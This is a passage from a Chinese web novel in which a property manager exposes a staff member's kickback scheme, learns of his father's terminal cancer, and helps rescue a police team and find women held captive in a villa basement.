呦呵！我平生就讨厌别人威胁我，是你自己撞到了枪口，可不要怪我。 “周经理，给他办离职吧，我同意。”我跟周天翔说。 周天翔和栗华都很讶异的看着我，不知所措。 “不要看我，去执行！”我又提醒了一次周天翔。 “哦，好的好的，栗华，到我这来吧。” 栗华如梦初醒，满腹牢骚的去了周天翔那里办手续。 “你们剩下的几个人，还有想走的吗？想走也可以走。”我问其余的3个人。 第一百三十章 您就是我们的靠山 这几个人明显被我的气势吓住了，都安安静静的看着我。 “下午的巡视我很不满意，照片在手机里，你们也可以看。从明天开始，一直到新的安保经理上来之前，你们的工作归我直接管理。每天保证一次巡检，照片里出现的全部问题都不准许再出现，这就是红线，否则，当月奖金全扣。” 几个人开始翻看我拍的照片，看完以后脸都红红的，谁也不说话了。 “我就是干保安出身的，保安对于一个物业来说有多么重要，我不用细说。从今往后，消控室不准许脱岗，门卫也不准许脱岗，园区的抬杆绝对不允许再不放下来。我会给你们重新排班，原来栗华的班，我顶，表现优秀的有机会顶替栗华的位置。” 他们都很认真的听着我说的话，听到最后一句，有两个人眼睛里闪了闪，这就是我想要的效果。 周天翔看到我大刀阔斧的整改，工作上有了明显的动力，说话做事也不再是唯唯诺诺。 他的真性情开始逐渐的显现出来。 晚上，我带着周天翔去跟保洁公司的负责人吃饭。 保洁公司的负责人姓杨，是个女的，40左右岁，皮肤很黑，微胖的身材，偏要穿很紧身的衣服，眼神很凌厉，但是见人就陪着笑，小眼睛眯成一条缝，显示出密集的鱼尾纹。 “吕总，您好您好！您什么时候到临市的？没第一时间知道，要不我应该去拜访您才对啊！”她伸出手要跟我握手。 我比她还要快速的伸手，用力的跟她握了握，“杨姐，早就听娴姐说过您，这些年天和人家的保洁工作多亏您配合啊，业主反映很好，一例投诉都没有。” 杨姐有一瞬间的意外，但很快被喜悦冲淡，“哎呀，吕总啊，能得到您的表扬是我们的荣幸！”这个过程里，杨姐一眼都没看过周天翔，也没有打招呼。 我偷眼看到周天翔惊异的看着我，他一定是没想到我这个态度，还有我说的带有水分的话。 我给他递了个眼色，意思告诉他跟着看，别说话，他心下了然。 说话的当口，菜陆陆续续的上齐了，我还是很热情的跟杨姐说：“杨姐，我今天特意溜达过来的，我们喝点酒，增进一下感情，来年的续约还要继续呢！” 杨姐一听还要续约，更加的高兴，“好，我陪吕总喝几杯。” 其实我不胜酒力，自己给自己调了一个配方，每次喝酒前后喝两副，倒是可以很好的把要办的事通过酒局办了。 “杨姐，来，第一杯我敬你，据老板说，这些年你配合娴姐，只要有要求就及时给与我们帮助，功不可没呀！这杯我代表老板敬你。”我想着既然要表演，就要表演个大的。 杨姐果然受宠若惊，站起身跟我喝了这杯。 刚吃了一口菜，我又给她的酒杯倒满，“杨姐，咱们今天的头三杯定要干了，因为每一杯都代表我对你的谢意，之后你可以随意，毕竟你是女同志，咱们聊天为主，不拼酒。” “吕总，看您说哪去了，您是我们的客户，客户有需求那不得第一时间响应么！我这一周怎么也得有3、4天去应酬，您不用担心我的酒量，我陪您尽兴。” 说话间又干了第二杯。 我心想，我哪有什么量，不过是引你入局罢了。 倒满了第三杯，我用眼神示意周天翔，周天翔秒懂，举起酒杯跟杨姐说：“杨姐，我们之前电话偶有沟通，我是周天翔，今天陪吕总过来见见世面，这杯酒必须得我敬您。” 杨姐看看周天翔，虽然也是笑眯眯的，但是明显没有对我的热络。 “小周啊，你有个好领导啊！在临市是娴姐，在上面还有吕总，你说你多幸运。”杨姐说完一口干了杯中酒。 “杨姐，多吃菜，咱们酒适量就行。”杨姐感激的看着劝她多吃菜的我，说：“吕总真是一表人才，年纪轻轻的就坐到这么高的位置，前途无量啊！” “哪里哪里，杨姐过奖了。本来呢今天我也要带娴姐来的，但是她身体不太舒服，她和我说见你不需要那么客套，都是这么多年的老关系了，老板也都知道您家，我这半信半疑的就来了。”我开始切入。 “哈哈，是啊是啊，我认识程佩娴应该有8、9年了。她妈之前是我们介绍到周老板那去当佣人的，娴姐的妈妈尽心尽力的照顾周小老板，这才有了现在的关系，我们自然也跟着借光了呗。”杨姐说了缘由。 “哦？老板说了，娴姐妈妈为人很好，也让我平时多关照娴姐，我一想既然都是自己人，那你也应该是自己人，所以今天很随意的就过来了。”我看看杨姐的表情。 她还是笑哈哈的很高兴的样子，这些话似乎对她没有太大的不适和触动。 “天翔，续约的协议带来了吗？拿给杨姐看看。”我问。 “领导，走的时候您没提醒我，我忘记带了。”周天翔的反应倒是很快。 “你看你，做事总要我提醒，娴姐在就好了，一定给安排的明明白白的。”我又不失时机的表扬了一下娴姐，表示出对娴姐的肯定。 “吕总，没关系的，明天我亲自去，我们再签都来得及。”杨姐赶紧表态。 “这......好吧，其实没什么变化，协议上的价格什么的，都可以继续。” 杨姐明显开心了一下，“吕总真的是我们公司的福星啊，今年不再跟我们议价了是吧？”她说完看看我，我假装无奈的耸耸肩。 其实我这个动作不代表什么，但是我确实是想套到背后的东西。 她看我耸肩，立刻凑过来耳语，“吕总放心，跟之前一样，没议价的部分以及第一个月的服务费，都给您。” 原来如此！程佩娴的胃口真大，这可不是一笔小钱啊！ “咳！来来来，杨姐，我们喝酒，不聊这些、不聊这些。”知道了谜底，我必须得装的再像一点，因为还没得知她们公司跟老板有没有关系。 “好，喝酒喝酒。”程佩娴和我又干了一杯。 周天翔赶快过来给我和杨姐倒酒。 我借着这个当口又问杨姐：“姐姐，你跟我们周老板也很熟吧？他可总是夸你们。我在临市还有几家盘子，我想要不都跟你们合作外包得了，保洁的人我就都砍掉。” “真的呀！那可太好了吕总，您真是我的vip！今儿这酒没白喝。我和你们老板还没有跟你熟呢，以后您就是我的靠山了！”杨姐又自己干了一杯。 我全明白了。 对于杨姐来说，这是愉快的一餐，不但愉快，还有了拿大单的盼望。 分开的时候，她一直告诉我，过两天她要请我吃饭，我明白，她是要给我好处费。 第一百三十一章 大闹物业办公室 回到住处，我把程佩娴的违规操作汇报给了袁总。 “袁总，全程我也有录音，你看我是不是可以重新招个客服了？”我问。 “等我消息，这事儿我必须得问过老板，人毕竟是他安排的。”老袁很谨慎。 “袁总，您可尽快啊，我今天已经开始让周天翔找人了。” “臭小子，你又先斩后奏！” “袁总，这可是违规操作，这样的不整走、还留着，你让我以后怎么带兵啊？要是都学习她，我们咋办？而且最关键的是，她开始泡病号不来了，工作总要有人干。”我发着牢骚。 “泡病号？这个人看来是老油条了。对了，你觉得周天翔能胜任这个摊子吗？”老袁问我。 “周天翔是碍于程佩娴跟老板的关系，多一事不如少一事，咱们都不给撑腰，他也不想因为这个没了工作，业务能力还是可以的。”我如实汇报。 “你不要这么早下结论，现在是有你在。你给他点工作，放手让他去完成，看结果说话才更客观。向荣，毕竟以后是他坐镇，你不会一直在那里。” 老袁说的很有道理，我确实没有想到这一层，“好的，袁总提醒的是，我明天就办。” “至于程佩娴的去留，明天我一定给你消息。但是，泡病号对付领导这个招数，你是不是应该拆一下，就像你说的，下边人都看着呢，总不能一泡病号就让人家走人吧！” 我想了想，然后说：“看来，我还真得治他个心服口服了！” “去做吧，你能行。”老袁笑哈哈的结束了跟我的通话。 第二天上班以后，我找了周天翔，“天翔，团队班子我帮你整顿好了，工作计划和完成情况你自己来做，包括找到缺岗的人，月底我要见到效果，团队的配合程度，就要看你自己的能力了。另外今天给程佩娴打个电话，问问她要休多少天，顺便提醒她，根据公司制度，病假工资按照80%发放，同时提供三级甲等医院开具的疾病诊断证明及休假证明，如果没有，就按事假处理，休假期间没有奖金。” “好的，吕总，我知道要怎么和她说。客服和安保的人选已经有了，你要看吗？” “我不看，基层岗位上升不到我这里，你自己决定吧。不过，人是你找的，你以后可不要再和我说人不行噢。”我提醒周天翔。 周天翔笑了，“我懂，吕总，谢谢你的帮助。” 下午的时候周天翔神色慌张的又来找我，“吕总，出了点事......” “怎么了？这么慌张？” “娴姐、娴姐在电话里跟我吵起来了，她还说、还说让老板把我开掉。”周天翔很委屈。 “因为你和她说病假制度的事情？”我问。 “是的，她说如果我敢扣她的工资，她就把我的饭碗砸了。”周天翔一个大老爷们儿竟然被一个女的给抓住了七寸。 “你告诉她，是我让你说的，让她来找我。”我看看周天翔，问：“客服的人选面试了没？能不能即时上岗？” “面试过了，能上岗。” “让她明天就来，你不要怕，你怕的话，我保不住你。”我的话已经说的很明，总不能把跟袁总的聊天内容都告诉他吧，确实是要看周天翔的能力和魄力了。 “天翔，现在你不能再带着面具生存，这个时候你不展示你的真我，我真的没办法决定你的去留，因为我没有在领导面前保你的说辞，你明白吗？” 周天翔看看我，沉默了一会儿说：“既然如此，那就只能背水一战了。” 下午在园区里巡视的时候，接到一个陌生号码的来电，我接起来，一个尖锐的女声传来：“怎么着啊？吕总，你是不是看我哪里不顺眼？我跟你也没什么仇怨，你为什么总是针对我？” “针对你？你是谁啊？”我猜应该是程佩娴。 “我是程佩娴！”对方依旧是一副盛气凌人的语气。 “那你说说我为什么要针对你？”我觉得又好气又好笑。 “因为你想扶正周天翔，对吧？嫌我碍事儿了？周天翔给你什么好处了吧？”程佩娴越说越不像话。 “你能认真说话吗？如果你不能，我拒绝接你电话，工作上的事到公司来找我说，生活上的事轮不到你找我说。”我很严厉的说完，直接挂断电话。 估计这个女人不会罢休的，说不准这会儿正在给老板打电话打我小报告。 管她呢，一个挖老板墙角的员工，老板是看上她什么了呢！ 这一晚上都很安静，袁总、周天翔，谁的电话我也没有接到，哪知道第二天一早，程佩娴就给我来了一个大闹物业办公室。 事情因新招的客服而起，周天翔选的这个人还是很好的，履历我看过，有同岗位经验。 已婚已育，人看上去的面相和气场都很平和，说话的声音也适中，她跟我打招呼的时候，我特意多看了几眼，至少外表过了我的关。 没成想，程佩娴也来上班了，周天翔和我都选择了不理她，冷处理。 她来了发现没人搭理她，保安队长也换掉了，屋里还来了一个新人，周天翔将报表和业主办理各种事务的衔接都交给了这个新人处理，立刻就炸毛了。 先是去了周天翔的工位，“周天翔，你什么意思？”声音很大，在办公室的几个人都能听见。 “什么什么意思？”周天翔连身子都没站起来，抬头看着程佩娴。 我不想说话，我想看看真正的周天翔到底什么样？能不能扶起来？ “我的工作呢？这个人是谁？”程佩娴盛气凌人，嗓门大的就差喊了。 “你的工作？你该干什么你不知道吗？这个人是谁我没必要跟你汇报吧。”周天翔低头做事，不再理会程佩娴。 所有人都没想到，程佩娴拿起周天翔桌子上的一份文件直接就撇了出去，方向是新来的客服工位，“啪”的一声，大家都吓了一跳，尤其是那个新人，差一点打到脸上。 “你干什么？”新人站起身质问程佩娴。 “没有你的事，你给我坐下！周天翔，你今天不给我说清楚，我就去老板那告你，让你分分钟下班！” “你想知道什么？”周天翔还是不紧不慢，我心里暗暗给他点了赞。 “这个人是谁？我们怎么分工？” 第一百三十二章 冯晶晶的QQ上线了 “她是新来的客服，尹玉，主要负责我交给她的工作，你该干什么还干什么。” “我是客服啊？我们的工作是重叠的，权责明确吗？”程佩娴智商算是在线。 “娴姐，我说了，她负责我交给她的工作，我没交给她的，她不用干。她直接跟我汇报，你听明白了吗？” 周天翔看看脑袋还在转的程佩娴又说：“再说，你的病好了吗？你早上不是还说要继续跟我请一周的假吗？” “请不请假是我的事，你不能因为我请假就分走我的工作啊！”程佩娴还是靠喊。 “我必须纠正你一个错误，工作怎么分配是我的权利，我想怎么分配就怎么分配，为了确保有人休息的时候也不耽误物业工作正常运转，我有权利调整。”周天翔说。 “周天翔，你是不是有点不知道自己是谁了？”程佩娴的口吻变了。 周天翔也听出了端倪，一副我不想跟你吵的样子，准备出去躲躲。 “你站住！今天你要是敢走出这个屋，我就让你再也回不来！”程佩娴犯虎了。 “娴姐，你们这是吵什么呢？这是办公室，外边的人听到多不好！”我该上场了。 “吕总，你躲在角落偷听很久了吧？周天翔能有这些动作不就是你指使的吗？我今天倒是想问问你，我到底哪里得罪你了？你来了就针对我，解聘了我的人，还要分走我的工作！” “你的人？谁是你的人？难道不是我们都是老板的人吗？你是谁的人？”我很严肃。 程佩娴自觉说的有点过，但是气势上依旧是没倒，“栗华不是你给解聘的吗？他工作兢兢业业，一例投诉都没有，你凭什么解聘他？” “凭什么？就凭我是区总，凭天和人家归我管辖。他没有投诉，消控室脱岗、园区入口长期肆意出入、上班睡觉，这些是你授意的吗？”我一条条罪状说的程佩娴哑口无言。 “你今天在办公室里闹，还动手，你这些行为太失身份了！我们集团没有这样的骨干力量。保洁公司的负责人杨姐我也见了，你们之间什么勾当我现在一清二楚，怎么？还要我放录音吗？”我也不准备再跟她泡蘑菇。 程佩娴的脸红一阵白一阵，我这些话她很意外。 这时候我手机收到一条信息，是老袁的，“程佩娴的去留，老板说让你自己处理。” 好了！就等这句话呢！看来老板还是智商在线的。 “吕总，你说的杨姐跟我的勾当，什么意思，你可不能血口喷人！”她不想服软。 我示意周天翔带着尹玉先出去，办公室就剩下我和程佩娴的时候，我打开了那天跟杨姐的对话录音。 程佩娴听到杨姐说还和以前一样，将第一个月的服务费和没议价的费用给我的时候，再也不嚣张了。 “你还是自己主动走吧，这样对你、对老板都好。你们以后还能继续处私下里的情谊。” 说完我等着程佩娴的回答，她愣了很久，然后说：“是周老板让我走的，是吧？我知道，如果他不同意，你也弄不走我。” 说完她回到工位开始收拾东西，这时候周天翔和尹玉也回来了。 “天翔，一会儿给娴姐办离职手续吧，她辞职了。”我吩咐完任务，收拾好我的包，出了物业办公室。 室外的空气很新鲜，天和人家这条臭鱼捞出来以后，希望周天翔可以把这个盘子给带好喽！ 正觉得心里包袱落地的时候，接到了王敬之的电话。 “师哥，出什么事了？”我很担心是我爸有事。 “向荣，我今天上了qq，发现晶晶在线，但是不管我和她说什么，她都不回复。” “冯晶晶在qq上？你确定吗，师哥？” “我当然确定，我们以前就是通过qq聊天的，不可能搞错。”王敬之很肯定。 “你和她说什么了？”我问。 “我问她现在在哪里？我还告诉她我们都在找她，问她是不是很安全。但是她一句都没给我回，qq显示她在线，不是离开也不是在忙。”王敬之说。 “你把冯晶晶的qq号告诉我，我找林翔看看有没有什么办法可以知道她的位置。” 结束了通话，王敬之跟快把冯晶晶的号码发了过来。 拨通林翔的电话后，我急急的跟林翔说：“老林，王敬之在qq上发现冯晶晶在线，但是跟她说话她却不理。你们有办法判断她的位置吗？” “你把号码发给我，我找技术人员试一试。”林翔很重视。 “还有，向荣，你让我打听的事情，丁有生说黄金罗盘让许德生拿走了，许德生说要找个好买家，把罗盘卖掉。” “什么？这个家伙什么都卖！”我忿忿的说。 “还有冯楠的房子，除了荟萃亭以外，确实还有一处房子，在东郊，也是别墅。不过从装修以后就没住过人。”林翔说。 “老林，冯楠说的地下室，说不定就是这个，你们得去看看。”我着急的说。 “是的，等侦查后有了结果我告诉你。” “老林，那你赶快去问qq的方位吧，我担心过一会儿冯晶晶下线了。”我说。 “好，那就先这样，有消息再联络。” 我想了一下，这个时间可以去看看冯楠，然后我就动身回b市。 林翔去查冯晶晶的qq方位时，我来到冯楠所在的医院病房。 医生说冯楠的情况已经稳定了，但是依然没有醒，只能等待。 冯楠躺在病床上，脸色和状态明显要好于被许德生软禁的时候，“冯哥，向荣来看看你，医生说你已经脱离生命危险了。现在他们还是没有找到晶晶，你给我们一些指引、让我们找到晶晶吧，希望她平安，不要受到伤害。” 我在嘴里嘟囔着，感慨着冯楠和冯晶晶的命运，急转直下，当初认识他们的时候该多么风光无限。 可是现在，一个深陷何处未知，一个刚刚脱离鬼门关。 我的电话又响了，“向荣，冯晶晶的qq号所在位置就是东郊。”林翔着急的和我说。 这么说冯晶晶在她家的另一座房子里？ 第一百三十三章 断联的林翔 林翔告诉我马上带队赶往东郊冯楠的别墅，结束了跟我的通话。 不知怎的，我的心里一直隐隐的不安，总有一种要发生什么大事的预感。 “师哥，林翔赶去东郊别墅了，我心里很不安，你关注一下林翔，我得明天才能回去。”我给王敬之打电话说了我的担忧。 “行，你忙你的，有我在，其他的事情明天回来再说。”王敬之应承。 我觉得哪里不太对，“其它的事情？其它什么事情？”我追问。 “这......没、没啥事，明天回来再说吧。”王敬之绝口不提，直接挂断了电话。 我的心里更慌乱了，一定是出了什么事，不行，待不住了！ 回到物业办公室，周天翔还没下班。 “天翔，B市出了点事情，你这边补充上安保队长的位置，班子整顿的工作就交给你了，能完成吗？”我心想正好这是一次考验他能力的时候。 “吕总，你放心，刺儿头都走了，我能搞定，一定把团队的风气正过来。”周天翔很有信心。 “好，那就看你了。工作进度每周要跟我汇报一次，我虽然在B市，但我一定给你做坚实的后盾。等B市的事情告一段落，我还得过来看剩下的两家物业，到时候我再来看你。” “好，放心吧，吕总！” 我改签了火车票，告别周天翔，坐晚车赶回B市。 夜里9点，到达了目的地，我用最快的速度赶到父母住的房子，房门紧锁，家里没人，果然出事了！ “师哥，我到家了，你们去哪了？”我着急的问。 “哎！叔叔住院了，我们在医院。今早上刚发生的，吐血，高烧不退。” “把地址发给我，我这就去”我说。 到医院的时候，我爸挂着点滴睡着了，我妈坐在床边抹眼泪。 我走过去轻轻拍了拍我妈的手背，我妈一看是我，委屈的哭起来。 “妈，别担心，儿子在。我姐呢？”我心想我姐好不容易来一次，却赶上我爸病重。 “你姐去医生办公室了，你也去看看吧，去听听。”我妈抽泣着说。 我看看王敬之，示意他我去找医生。 我爸的主治医生是一个年纪不太大的老头，微胖，眼镜片很厚，他给人的感觉像老学究一样。 我进去的时候，他正在跟我姐比划挂着的胸片，“你看这个深度，这个位置，都不适合手术治疗。而且看前后两次的Ct报告，肿瘤应该是晚期了，你们家属要有心理准备。” 我姐听完这句话就开始抹眼泪，什么话也说不出来。 我走上前去，扶了扶我姐，然后说：“医生，我是患者的儿子，我刚出差回来，也过来听一听，有什么治疗方案吗？” 主治医生抬抬眼镜看了看我，“你父亲这个病不能根治，只能缓解。肺癌现在在临床治疗上确实有一些方案有收效，不过，你们要准备好钱。你父亲有医保吗？” “我爸是农民，医生，这个治疗方案，大约需要多少钱？”我又问。 “总金额我得去电脑上看，不过，肯定少不了，你们得备钱。” 我想了想自己那点积蓄，瞬间有了“一分钱难倒英雄汉”的悲哀。 “医生，您下方案吧，我去筹钱。”我跟医生说。 他看看电脑，又看看我说：“小伙子，有句话我得提醒你，你父亲的病是不能治愈的，你现在全部花出来的钱，也都只是延缓时间而已，而且也有很大几率延缓时间也做不到，到最后很容易是人财两空。你们先回去好好商量一下，整个治疗全下来也得要几十万。” 我姐听到这个数字哭的更厉害了，我知道她这些年也没有什么积蓄。 看来只有我是主力了，但是我手里这十几万肯定是不够的。 我跟我姐心情沉重的回到病房，我爸已经醒了，护士正在和我妈说话，她说我爸的烧已经退了，要注意休息，晚上留人照顾。 “儿子，你回来了。”我爸虚弱的说。 “爸，你现在感觉好没好一些？还那么难受吗？”我急切的问。 “我啊，我就总是觉得呼吸费力，一咳嗽就停不下来。喝你的汤药，睡眠倒是还可以，之前基本上睡不了。”我爸没有说哪里有疼的情况。 “妈，你和我姐回去吧，今晚上我在这照顾我爸。”我怕我妈的身体撑不住。 “向荣，你一个人能行吗？刚出差回来，还没吃饭吧？”我妈还惦记着我没吃饭。 “婶子，我在这陪他，你跟姐回去吧。”王敬之说。 “好吧，那，敬之你和向荣去吃碗面条，然后回来换我们，我们再走。”我妈说。 我爸也一直朝我们摆手，意思让我们去吃饭。 “小弟，你和敬之去吃饭，姐在这呢，别担心。”我跟我姐挤挤眼睛，我姐跟我点点头，我意思告诉她治疗需要几十万的事情不要和妈说。 我姐告诉我她知道。 现在是夜里，医院外面的小胡同里却灯火通明的，那些小档口还都在售卖。 王敬之带我到了一家手擀面摊，“正好我也没吃呢，我们俩一起吃！” 我看看王敬之，我爸生病这段时间赶上我升职到处走，多亏有了他在。 “师哥，有你可真好啊！”我眼睛有点潮。 “钱的事你不用担心，我这些年也有点积蓄，我们的钱加起来，应该可以把第一阶段应付过去的。”王敬之一边鼓捣手机一边说。 “师哥，你这些年也没有工作，你哪来的积蓄？”我很惊讶。 “没有工作就不能有钱赚啦？你放心好了，我的钱都是能力所得。”王敬之白我一眼。 “师哥，我不是那个意思，我爸这个病可不是花小钱，你要有心理准备啊，很可能要让你回到革命前的。” “我知道，上午过来我就问过医生了。钱不重要，因为是你。” 我看着王敬之一边吹着刚端上来的面汤、一边说话的样子，心潮澎湃。 “你可别跟我说那些肉麻的话，赶紧吃吧！你要考虑的是到底要不要采用西医的治疗方案。我今天听医生说，癌症患者晚期很痛苦的，尤其骨转移之后。” 王敬之说的又何尝不是我担忧的呢，我明白他是要我考虑好，选择给我爸治疗，我爸就有承受后期肉体疼痛的可能。 “林翔去了好几个小时了吧？给你打电话了吗？”王敬之突然问我。 我惊讶的说：“确实，至少五六个小时了，不会出什么事吧！” 我的心总是慌慌的，放下面条碗，我给林翔打了一通电话，响了很久都没人接。 第一百三十四章 夜探东郊别墅 “没人接！”我担忧的看着王敬之，“师哥，要不我们去看看？” “叔叔怎么办？”王敬之也很想去看看冯晶晶到底在不在。 “我和我妈、我姐说一声吧，无论如何要去看看，我待不住，如果林翔真的有什么事，我怎么面对他的家人啊！这件事毕竟是我告诉他的。” “好，我们俩一起去，你把家伙事儿带上。”王敬之说。 我知道他说的是我们勘验风水的那些工具，这都没问题，都在我包里，背上就走了。 跟我妈和我姐说完要先去处理事情之后，我妈千叮咛万嘱咐要我一定注意安全。 儿行千里母担忧，“妈，你就放心吧，你儿子命硬着呢！啥事没有！” “你照顾着敬之啊，他身子比你弱。”我妈对我师哥也视同己出。 冯楠东郊的别墅距离市内很远，这个时间接近凌晨，我和王敬之只好打了辆车过去。 出租车司机不爱去，嘟囔着：“东郊？那里的房子都没人住啊，你们这么晚了去那边干什么？你们换车吧，我去不了！” 我看着晚一分、危险就高一分的时间，舍了血本，“师傅，我额外给你加钱，走吧！你送我们到附近主路上就行，我们自己溜达进去。” 出租车司机在金钱的诱惑下，终于发动了引擎。 大约半个小时左右，我们下了车，东郊刚刚开始开发，目前还是大片的荒地，罕有的一处园区，里面都是别墅，远远看去黑压压一片。 我和王敬之借着月光拿出罗盘判断方位，“向荣，怎么这么安静？不像有警察来过的样子，车都没有，你再给林翔打个电话。”王敬之很疑惑。 我又拨通了林翔的电话，这回提示关机了，什么情况？ “老林关机了！” “你知道冯楠家的别墅是哪一栋吗？”王敬之问我。 “我还真不知道，怎么办？师哥。”我没了主意。 “来都来了，怎么能不去看看，我们一栋一栋摸索！”王敬之说完，我跟在他后面进了小区。 “这里还没办入住吧，连物业都没有的。倒是个发生犯罪的好地方。”我小声嘀咕。 “这个楼盘也是郑杰他们五兄弟开发的吧？”王敬之问我。 “倒是没时间去了解，不过很有可能，因为冯楠的房子在这里。而且我刚看了罗盘，地势和地貌很符合他们几个之前开发选址的特征。”我回。 “这几个人，开发拿地，不指望赚卖楼的钱，指望挖地下的东西赚钱，可真是害人。”王敬之也低声说。 我们两个人连续走了几排别墅，都是毛坯状态，根本就没人。 “向荣，我总觉得哪里不对，林翔他们如果来过，怎么能一点痕迹都看不到呢？” “他们一定是来了的，这个我确定，老林来之前还告诉我有了消息就告诉我呢！” 正说着，我被脚下的坑绊了一下，差一点摔倒。 我回头仔细看了看，像这样的坑一路上遇到了很多。 “师哥，这些坑是干嘛的？按说开发完楼盘，园区里不需要再有坑了呀。”我问。 “我也没想出来，这一路上我看到好多这样的坑，难道是等着回填的？”王敬之回。 说话的工夫，我们已经走到了园区最后一排，依然是黑压压一片的毛坯房，有的还没有安装门窗。 “向荣，你看那个！”我顺着王敬之的指引看过去，挨着园区围栏边有一栋别墅，门窗都安好了，而且看着像有人打扫过门口，很整洁。 “走，去看看。”我在前面带路走过去。 “师哥，你说如果冯楠家地下室有刘才东的东西，会是什么呢？”我想知道王敬之怎么想的。 “我没想到，确实也想了很多种可能，刘才东有什么东西是值得冯楠藏在自己家地下室的？而且还这么偏远。”王敬之回。 这时候我已经走到了别墅门前，这是一个独栋，一共二层，地下确实有一层，一楼大门旁边有一扇窗户，可以看到室内。 但是因为天很黑，根本瞅不清里面有什么，不过可以肯定的是，这里有人住的迹象。 “师哥，只有这栋有人住过的迹象，怕不是就这栋是冯楠家吧？” “太有可能了。可是老林他们呢？”王敬之急切的问。 “没有警察来过的样子，师哥，既然来了，我们先去地下室看看吧。”我跃跃欲试。 王敬之点点头，我们两个跳到院子里，门从里面上了锁，打不开。 要怎么进去、再下到地下室呢？ 就在我俩左敲敲、右看看的时候，突然听到别墅里有声音。 那是一种压抑的、有些痛苦的声音，声音不大，但是在寂静的夜里尤其惊悚。 “师哥，你听见没？”我小声问王敬之。 “好像是别墅里传来的。”王敬之一边说一边从兜里翻出一根细铁丝。 我知道他要做什么，现在也没有其它办法，我们必须去地下室看看。 王敬之捅咕了半天也没有任何能开开的迹象，那个压抑又痛苦的声音却一直没有停。 断断续续的，从别墅里面传出来，听的我心里发毛。 “师哥，不会是野猫吧？” “你看到这房子有缝隙吗？野猫咋进去？”王敬之问我。 “不会是林翔他们被关在地下室了吧？不对啊，许德生在逃啊，会是谁在这呢？” “别瞎猜了，马上就开了，进去看看就知道了。吕向荣，你怎么现在越来越怂了！”王敬之说我。 “我怎么怂了？”我不服。 “你看你叽叽歪歪的胆小的样子，不就是乌漆嘛黑、没有人烟的别墅嘛，怕什么！” 我看看奚落我的王敬之，没搭理他，这家伙仗着说我给自己壮胆。 “开了！”随着王敬之的通报，门竟然“吱呀呀呀”有很大声响的打开了。 这门没浇油啊！上锈了吗？这么大声！ 我和王敬之都不敢动了，声音在夜里尤其突兀，我侧耳听了听，那个压抑的声音也没了，“完了，师哥，没音了！” 别墅里面的空气流通出来，一股腐败发霉的味道，这里不像有人住过。 第一百三十五章 关在地下室里的女人 “不管有没有人住，都要去地下室看看，走！”王敬之引领着我进了室内。 因为门开合的声音很大，我们没关那扇门，直接走进屋里面。 我们打开手电筒，室内没有装修过，还是毛坯房，但是门窗都安装好了。 手电筒照到了下地下室的楼梯，我们悄悄的走过去，准备下楼。 “师哥，怎么下边是这么厚的一扇铁门？”我发现楼梯的尽头是一扇锁着的铁门。 “里面一定有很重要的东西，我们现在手里没有适手的工具，不行，出去找到工具再过来。”王敬之说的对，我又跟着他折返回地上。 在室内看了一圈也没有任何工具，也没发现什么钥匙之类的，别墅上层我们也去了，都是一个个空洞的房间，什么都没有。 “师哥，刚才的声音，自从门响了之后就没再出现，难道下面关着的是活物？” “很有可能，而且那个声音好像是受伤后发出的呻吟。”王敬之回。 “师哥，不会是老林他们吧？”我忽然间想到，着急的说。 王敬之也很担忧，“找工具，快！” 我们两个三步并作两步的来到院子里，因为走过一遍，地形我们也熟悉了，眼睛也完全适应了夜里的黑暗。 “向荣，你看院子里的门边，有个什么东西、亮亮的？”王敬之问我。 其实并不是很亮，但是因为夜里很黑，那个东西外表是光亮的，就显得有些亮。 我走过去捡起来，仔细一看，“是烟盒，这烟盒，是老林的烟盒！”我惊呼。 “怎么这么肯定？” “老林只抽这个牌子的烟，我知道。” “看来我们的方位没错，林翔他们确实来了这里。可是他们去哪了？被关到了地下室？如果是被关了，那么关他们的人一定躲在附近。”王敬之说完，我们两个更加警觉起来。 “走，扩大范围，到处看看，找工具。”王敬之一边说一边引领着我走向别墅后院。 后院的空地面积别有洞天，没想到这个别墅开发的这么大。 “向荣，有声音，你听见没？”王敬之问我。 “有声？”我屏住呼吸仔细听着。 好像是被捂住嘴的挣扎声，就是前面传过来的，我看看王敬之，我们两个一起循着声音找过去。 出现在我俩眼前的赫然是一个很大很大的土坑，要比外边那些大很多倍。 我们拿出手电筒往坑下边照去，有四个被绑着的人正往上边看。 “是老林！”手电筒照到了林翔的面孔。 下边的几个人看到有人发现了他们，急的一起发出“嗯嗯”的声音。 “师哥，坑太深了，怎么把他们弄上来呢？”我有点着急。 “我刚才好像看到屋里的地上有好多电线，我们拿出来试试。”王敬之说。 回到别墅里，果然一楼大厅的地上散落着很多胶皮电线，王敬之和我捡了好多线出来，一边走一边打结，勒结实。 “师哥，这个能不能结实？”我问。 “试试吧，现在也没有别的办法。”王敬之说话间已经来到了坑边。 我们把线顺下去，我压低嗓音说：“老林，抓住这个，我们一个个拽你们上来。” 好在这个胶皮线还是挺结实的，绳结的接口处系的也牢固，于是我们把坑下面的几个人，一个个的拉了上来。 林翔是最后一个上来的，上来后就一屁股坐在地上，“你们怎么来了？多亏了你们！” “老林，你们遇到了什么？怎么被绑住扔下面了？”我问。 “向荣，我想到了你没听到我的消息，也许会来救我，没成想你的速度这么快！这次多亏你和敬之了。”林翔很疲惫。 “我们几个人摸到这里的时候，一楼是有人的，我们很小心，很怕打草惊蛇，可是不知道他们怎么发现我们的，为首的一个身材和样貌很像许德生，但是个头比许德生高。”林翔喘着粗气懊恼的说。 “他们人呢？”我问。 “几个人把我们扔到这里以后就借着夜色跑了。”林翔回。 “这么说，你们还没到过地下室？”王敬之问。 “还没有机会去，你们去过了？”林翔问。 “也没有，我们听到地下室有动静，但是那扇门我们搞不开。”我说。 “走吧，我们现在去，我们的人能弄开。”林翔带头走向别墅前院。 因为门开着，这一回我们几个鱼贯而入，没有任何声音传出来。 到了地下室那扇铁门门口，其中一个微胖的警察在衣服兜里掏出一个什么工具，捅咕了半天门上的锁，没费多大力气，开了！ 铁门打开的声音也很大，但是我们没有办法，仗着人多，豁出去了。 地下室里竟然亮着昏黄的灯光，真的有人！ 林翔冲在前面，进去以后大声的说：“我是x刑警队的队长林翔，你们是谁？” 这时候我们余下的人也已经来到了地下室，我被里面的场面震惊了。 地下室很大，散落着4张床，每张床边都有一个电脑桌，上面有电脑。 每张床上都躺着一个女人，其中有一个应该是病了，还在止不住的呻吟。 “警官，快救救我们！”其中一个女人喊。 我仔细的看了看她们，都很瘦，不知道是不是长期吃不饱饭，长相都很年轻，也就20岁的样子。 她们为什么被关在这里？这是在做什么？ “老林，我们赶快出去，不知道袭击你们那几个人还会不会返回来。”王敬之说。 